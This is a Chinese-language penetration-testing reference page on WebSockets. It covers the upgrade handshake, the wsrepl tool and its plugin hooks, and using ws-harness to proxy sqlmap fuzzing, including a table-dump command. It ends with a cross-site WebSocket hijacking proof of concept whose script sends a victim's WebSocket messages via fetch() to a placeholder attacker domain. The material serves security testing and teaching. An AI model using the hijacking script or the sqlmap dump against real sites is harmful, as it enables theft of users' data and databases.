跳转至

Web Sockets

WebSocket 是一种通信协议,可在单个、长寿命的连接上提供全双工通信通道。这使得客户端(通常是 Web 浏览器)与服务器之间能够通过持久连接进行实时的双向通信。WebSockets 常用于需要频繁、低延迟更新的 Web 应用程序,例如在线聊天、在线游戏、实时通知和金融交易平台。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

Web Socket 协议 (Web Socket Protocol)

WebSockets 以普通的 HTTP/1.1 请求开始,然后通过“升级”连接来使用 WebSocket 协议。

客户端发送一个精心构造的带有特定请求头的 HTTP 请求,表明其想要切换到 WebSocket 协议:

GET /chat HTTP/1.1
Host: example.com:80
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

如果服务器接受请求,它将以 HTTP 101 Switching Protocols 响应进行回复:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

SocketIO

Socket.IO 是一个 JavaScript 库(包含客户端和服务器端),它在 WebSockets 之上提供了更高层级的抽象,旨在使实时通信在跨浏览器和环境下更容易、更可靠。

使用 wsrepl

wsrepl 是由 Doyensec 开发的工具,旨在简化对基于 WebSocket 的应用的审计。它提供了一个交互式的 REPL 界面,用户友好且易于自动化。该工具是在一个 Web 应用高度依赖 WebSockets 进行软实时通信的客户端评估项目中开发的。

wsrepl 旨在平衡交互式 REPL 体验与自动化需求。它采用 Python 的 TUI 框架 Textual 构建,并可与 curl 参数互操作,使得从 Burp 中的 Upgrade 请求切换到 wsrepl 变得轻而易举。它还能根据 RFC 6455 协议提供全透明的 WebSocket 操纵码(Opcodes)信息,并具备断线自动重连功能。

pip install wsrepl
wsrepl -u URL -P auth_plugin.py

此外,wsrepl 简化了向 WebSocket 自动化的过渡过程。用户只需编写一个 Python 插件即可。其插件系统设计灵活,允许用户定义在 WebSocket 生命周期各阶段(初始化、消息已发送、收到消息等)执行的钩子函数 (Hooks)。

from wsrepl import Plugin
from wsrepl.WSMessage import WSMessage

import json
import requests

class Demo(Plugin):
    def init(self):
        token = requests.get("https://example.com/uuid").json()["uuid"]
        self.messages = [
            json.dumps({
                "auth": "session",
                "sessionId": token
            })
        ]

    async def on_message_sent(self, message: WSMessage) -> None:
        original = message.msg
        message.msg = json.dumps({
            "type": "message",
            "data": {
                "text": original
            }
        })
        message.short = original
        message.long = message.msg

    async def on_message_received(self, message: WSMessage) -> None:
        original = message.msg
        try:
            message.short = json.loads(original)["data"]["text"]
        except:
            message.short = "错误:无法解析消息"

        message.long = original

使用 ws-harness.py

启动 ws-harness 监听某个 WebSocket 端点,并指定发送的消息模板。

python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt

消息内容中应包含 [FUZZ] 关键字。

{
    "auth_user":"dGVzda==",
    "auth_pass":"[FUZZ]"
}

随后你可以使用任何安全工具针对新创建的 Web 服务(充当代理,并在发送消息时实时篡改 WebSocket 中的内容)进行攻击。

sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump

跨站 WebSocket 劫持 (CSWSH)

如果 WebSocket 握手阶段没有使用 CSRF 令牌或随机数(Nonce)进行适当保护,则可以利用受害者已认证的 WebSocket,在攻击者控制的站点上发起攻击,因为浏览器会自动发送 Cookie。这种攻击被称为跨站 WebSocket 劫持 (CSWSH)。

攻击示例代码(托管在攻击者的服务器上),该代码将从 WebSocket 接收到的数据外带给攻击者:

<script>
  ws = new WebSocket('wss://vulnerable.example.com/messages');
  ws.onopen = function start(event) {
    ws.send("HELLO");
  }
  ws.onmessage = function handleReply(event) {
    fetch('https://攻击者域名.net/?'+event.data, {mode: 'no-cors'});
  }
  ws.send("发送给服务器的一些文本");
</script>

你需要根据实际情况调整代码。例如,如果你的 Web 应用在握手请求中使用了 Sec-WebSocket-Protocol 请求头,你需要在 WebSocket 构造函数调用中添加该值作为第二个参数,以包含该请求头。

实验环境 (Labs)

参考资料 (References)